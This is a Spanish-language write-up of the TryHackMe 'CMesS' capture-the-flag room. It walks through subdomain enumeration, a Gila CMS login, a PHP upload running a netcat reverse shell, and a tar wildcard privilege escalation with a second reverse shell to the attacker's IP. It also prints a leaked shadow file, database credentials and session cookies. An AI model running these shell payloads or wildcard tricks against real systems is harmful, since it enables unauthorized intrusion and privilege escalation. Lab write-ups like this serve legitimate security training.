This page looks best with JavaScript enabled

TryHackMe - CMesS

 •  ✍️ sckull

CMesS es una maquina de TryHackMe, realizamos una enumeracion de subdominios para encontrar credenciales para Gila CMS, subir una shell inversa y obtener acceso. Realizamos movimiento lateral utilizando una contraseña dentro de un backup. Encontramos un cronjob que realiza backups con Tar, utilizamos wildcards para ejecutar una shell inversa como root.

Room

Titulo CMesS box_img_maker
Descripción Can you root this Gila CMS box?
Puntos 140
Dificultad Media
Maker

optional

NMAP

Escaneo de puertos tcp/udp, nmap nos muestra varios puertos abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
# Nmap 7.80 scan initiated Fri Feb 14 16:24:08 2020 as: nmap -p- -T4 -Pn -sV -sC -o nmap_scan 10.10.46.144
Nmap scan report for 10.10.46.144
Host is up (0.24s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d9:b6:52:d3:93:9a:38:50:b4:23:3b:fd:21:0c:05:1f (RSA)
|   256 21:c3:6e:31:8b:85:22:8a:6d:72:86:8f:ae:64:66:2b (ECDSA)
|_  256 5b:b9:75:78:05:d7:ec:43:30:96:17:ff:c6:a8:6c:ed (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: Gila CMS
| http-robots.txt: 3 disallowed entries 
|_/src/ /themes/ /lib/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Feb 14 16:45:03 2020 -- 1 IP address (1 host up) scanned in 1254.76 seconds

HTTP

A un principio veimas Gila CMS en el cual existe una vulnerabilidad de LFI pero el de esta maquina no es vulnerable.

image

GOBUSTER

Encontramos una larga lista de directorios, pero ninguno era de importancia hasta el momento.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
root@aoiri:~/tryhackme/cmess# gobuster dir -u cmess.thm -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -q -t 35 
/1 (Status: 200)
/about (Status: 200)
/01 (Status: 200)
/login (Status: 200)
/search (Status: 200)
/blog (Status: 200)
/index (Status: 200)
/category (Status: 200)
/0 (Status: 200)
/feed (Status: 200)
/themes (Status: 301)
/admin (Status: 200)
/assets (Status: 301)
/tag (Status: 200)
/author (Status: 200)
/sites (Status: 301)
/log (Status: 301)
/tags (Status: 200)
/1x1 (Status: 200)
/lib (Status: 301)
/src (Status: 301)
/api (Status: 200)
/robots.txt (Status: 200)
/001 (Status: 200)
/1pix (Status: 200)
/fm (Status: 200)
/tmp (Status: 301)
/1a (Status: 200)
/0001 (Status: 200)
/1x1transparent (Status: 200)
/1px (Status: 200)
/1d (Status: 200)
/1_1 (Status: 200)
/1pixel (Status: 200)
/0001-exploits (Status: 200)
/01_hello (Status: 200)
/1-1 (Status: 200)
/1st (Status: 200)
/00000001 (Status: 200)

WFUZZ - SUBDOMAINS

Utilizamos wfuzz para poder enumerar los subdominios de la maquina, encontramos *** de subdominio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
root@aoiri:~/tryhackme/cmess# wfuzz -c -w subdomains-top1mil-5000.txt -u "http://cmess.thm" -H "Host: FUZZ.cmess.thm" --hl 107

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4 - The Web Fuzzer                           *
********************************************************

Target: http://cmess.thm/
Total requests: 5000

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                  
===================================================================

000000019:   200        30 L     104 W    934 Ch      "***"                                                    
000002700:   400        12 L     53 W     422 Ch      "m."                                                     
000002795:   400        12 L     53 W     422 Ch      "ns2.cl.bellsouth.net."                                  
000002883:   400        12 L     53 W     422 Ch      "ns1.viviotech.net."                                     
000002885:   400        12 L     53 W     422 Ch      "ns2.viviotech.net."                                     
000003050:   400        12 L     53 W     422 Ch      "ns3.cl.bellsouth.net."                                  
000004081:   400        12 L     53 W     422 Ch      "ferrari.fortwayne.com."                                 
000004082:   400        12 L     53 W     422 Ch      "jordan.fortwayne.com."                                  
000004083:   400        12 L     53 W     422 Ch      "quatro.oweb.com."                                       

Total time: 131.3119
Processed Requests: 5000
Filtered Requests: 4991
Requests/sec.: 38.07726

***.cmess.thm

En el subdominio dev encontramos una contraseña del correo andre.
image

SHELL - www-data

Utilizamos las credenciales en el panel de administracion (/admin) con las credenciales que tenemos, una vez dentro subimos un archivo PHP de prueba para verificar que podamos ejecutar comandos, el archivo se subió en (/assets/).

1
2
3
4
<?php 

echo "Testing if i can run commands:";
echo(exec("ls "));

image

Vemos que nuestro codigo se ejecuto:
image

Editamos el codigo para ejecutar una shell inversa:

1
2
3
<?php 
exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.1.72 7878 >/tmp/f");
echo ">:)";

image

Andre - User

Enumeramos la maquina en busca de archivos interesantes, en la carpeta /opt encontramos un backup de la contraseña de Andre.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
www-data@cmess:/$ ls -lah opt
ls -lah opt
total 12K
drwxr-xr-x  2 root root 4.0K Feb  6 18:54 .
drwxr-xr-x 22 root root 4.0K Feb  6 17:57 ..
-rwxrwxrwx  1 root root   36 Feb  6 18:54 .password.bak
www-data@cmess:/$ cd opt
cd opt
www-data@cmess:/opt$ cat .password.bak
cat .password.bak
andres backup password
UQ[... snip ...]P6
www-data@cmess:/opt$

Utilizamos ‘su’, obtenemos una shell y nuestra flag user.txt.
image

PRIVILEGE ESCALATION

Dentro de los archivos de la carpeta /tmp encontramos un archivo comprimido, de lo que parece /home/andre/backup/, que, la realiza el usuario root cada minuto. Para ver el cambio del archivo utilizamos date para ver la fecha de creacion y hora. Con lo anterior, renombramos la carpeta backup a backup_bak, creamos un symlink hacia la carpeta /root/, el usuario root realizara un backup de la carpeta /root/.

O simplemente utilizar cat /etc/crontab para ver los crons

image

Al pasar un minuto, vemos que la hora de creacion cambio y al extraer los archivos podemos ver nuestra flag root.txt.

image

De la misma forma podemos obtener la contraseña del usuario root (crackeada) haciendo un symlink hacia la carpeta /etc/.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
andre@cmess:~$ ln -s /etc/ backup
andre@cmess:~$ ls -lah
total 3.0M
drwxr-x--- 4 andre andre 4.0K Feb 14 18:27 .
drwxr-xr-x 3 root  root  4.0K Feb  6 18:00 ..
lrwxrwxrwx 1 andre andre   11 Feb 14 18:27 backup -> /etc/
drwxr-x--- 2 andre andre 4.0K Feb 14 17:44 backup_bak
lrwxrwxrwx 1 root  root     9 Feb  6 18:48 .bash_history -> /dev/null
-rwxr-x--- 1 andre andre  220 Feb  6 18:00 .bash_logout
-rwxr-x--- 1 andre andre 3.7K Feb  6 18:00 .bashrc
drwxr-x--- 2 andre andre 4.0K Feb  6 18:01 .cache
-rwxr-x--- 1 andre andre  655 Feb  6 18:00 .profile
-rwxrwxr-x 1 andre andre 3.0M Aug 22 11:38 pspy64
lrwxrwxrwx 1 root  root     9 Feb  6 18:48 .sudo_as_admin_successful -> /dev/null
-rwxr-x--- 1 andre andre   38 Feb  6 18:46 user.txt
-rwxr-x--- 1 andre andre  635 Feb  9 11:00 .viminfo
andre@cmess:~$ date
Fri Feb 14 18:27:05 PST 2020
andre@cmess:~$

Descomprimimos el archivo y obtenemos la contraseña encriptada:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
andre@cmess:/tmp$ ls |grep sha
gshadow
gshadow-
shadow
shadow-
andre@cmess:/tmp$ cat shadow
root:$6$W.gDTDR8$XXB79ORIcggP9.Cl2HzbUf[... snip ...]sdXoYOhB7Da9mFPcca5a3DyKG1:18299:0:99999:7:::
daemon:*:17953:0:99999:7:::
bin:*:17953:0:99999:7:::
sys:*:17953:0:99999:7:::
sync:*:17953:0:99999:7:::
games:*:17953:0:99999:7:::
man:*:17953:0:99999:7:::
lp:*:17953:0:99999:7:::
mail:*:17953:0:99999:7:::
news:*:17953:0:99999:7:::
uucp:*:17953:0:99999:7:::
proxy:*:17953:0:99999:7:::
www-data:*:17953:0:99999:7:::
backup:*:17953:0:99999:7:::
list:*:17953:0:99999:7:::
irc:*:17953:0:99999:7:::
gnats:*:17953:0:99999:7:::
nobody:*:17953:0:99999:7:::
systemd-timesync:*:17953:0:99999:7:::
systemd-network:*:17953:0:99999:7:::
systemd-resolve:*:17953:0:99999:7:::
systemd-bus-proxy:*:17953:0:99999:7:::
syslog:*:17953:0:99999:7:::
_apt:*:17953:0:99999:7:::
messagebus:*:18299:0:99999:7:::
uuidd:*:18299:0:99999:7:::
andre:$6$GeMRsVKt$KEQmO.oV7yzpLOVXjDX[... snip ...]uzhMTMl5J8rstkFQ1QD3/dLFS1yAMqj1kbiQWYvQ8.:18299:0:99999:7:::
mysql:!:18299:0:99999:7:::
sshd:*:18299:0:99999:7:::
andre@cmess:/tmp$

SHELL - ROOT

Para obtener una shell con el usuario root utilizamos las ‘wildcards’ para ejecutar una shell inversa. Creamos un archivo con nuestra shell inversa y las ‘wildcards’ que se ejecutarán junto con el comando tar:

1
2
3
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.1.72 8989 >/tmp/f" > shell.sh
echo ""> "--checkpoint-action=exec=sh shell.sh"
echo ""> --checkpoint=1

Verificamos:

1
2
3
andre@cmess:~/backup$ ls
--checkpoint=1  --checkpoint-action=exec=sh shell.sh  shell.sh
andre@cmess:~/backup$

Esperamos y obtenemos una shell root:
image

INFO - Wildcard Privilege Escalation

ANEXO - WWW-DATA

MYSQL

Dentro de la configuracion de la pagina vemos las credenciales para conectarse a la base de datos, encontramos algunas tablas interesantes pero ningun dato nos ayudo para ninguno de los usuarios.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
www-data@cmess:/var/www/html$ cat config.php
cat config.php
<?php

$GLOBALS['config'] = array (
  'db' => 
  array (
    'host' => 'localhost',
    'user' => 'root',
    'pass' => 'r0otus3rpassw0rd',
    'name' => 'gila',
  ),
  'permissions' => 
  array (
    1 => 
    array (
      0 => 'admin',
      1 => 'admin_user',
      2 => 'admin_userrole',
    ),
  ),
  'packages' => 
  array (
    0 => 'blog',
  ),
  'base' => 'http://cmess.thm/gila/',
  'theme' => 'gila-blog',
  'title' => 'Gila CMS',
  'slogan' => 'An awesome website!',
  'default-controller' => 'blog',
  'timezone' => 'America/Mexico_City',
  'ssl' => '',
  'env' => 'pro',
  'check4updates' => 1,
  'language' => 'en',
  'admin_email' => 'andre@cmess.thm',
  'rewrite' => true,
);www-data@cmess:/var/www/html$

Utilizamos las credenciales con mysql, y en la tabla users de la base de datos gila encontramos la contraseña encriptada del usuario andre, ademas de eso encontramos las cookies del usuario andre:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
mysql> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| gila               |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
5 rows in set (0.00 sec)

mysql> use gila;
use gila;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+----------------+
| Tables_in_gila |
+----------------+
| option         |
| page           |
| post           |
| postcategory   |
| postmeta       |
| user           |
| usermeta       |
| userrole       |
| widget         |
+----------------+
9 rows in set (0.00 sec)

mysql> select * from user;
select * from user;
+----+----------+-----------------+--------------------------------------------------------------+--------+------------+---------------------+---------------------+
| id | username | email           | pass                                                         | active | reset_code | created             | updated             |
+----+----------+-----------------+--------------------------------------------------------------+--------+------------+---------------------+---------------------+
|  1 | andre    | andre@cmess.thm | $2y$10$uNAA0MEze02jd.qU9tnYLu43bNo9nujltElcWEAcifNeZdk4bEsBa |      1 |            | 2020-02-06 18:20:34 | 2020-02-06 18:20:34 |
+----+----------+-----------------+--------------------------------------------------------------+--------+------------+---------------------+---------------------+
1 row in set (0.00 sec)

mysql> select * from usermeta;
select * from usermeta;
+----+---------+------------+----------------------------------------------------+
| id | user_id | vartype    | value                                              |
+----+---------+------------+----------------------------------------------------+
|  1 |       1 | privilege  | admin                                              |
|  2 |       1 | GSESSIONID | 1ik2ha97chatolvcena3moomw802zssf3e9tdo9v9fwl86w0uv |
|  3 |       1 | GSESSIONID | 1mwxigp2xzt4oc6ka9neshxlzrnwefvsmenppbod9826mmhikz |
+----+---------+------------+----------------------------------------------------+
3 rows in set (0.00 sec)
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe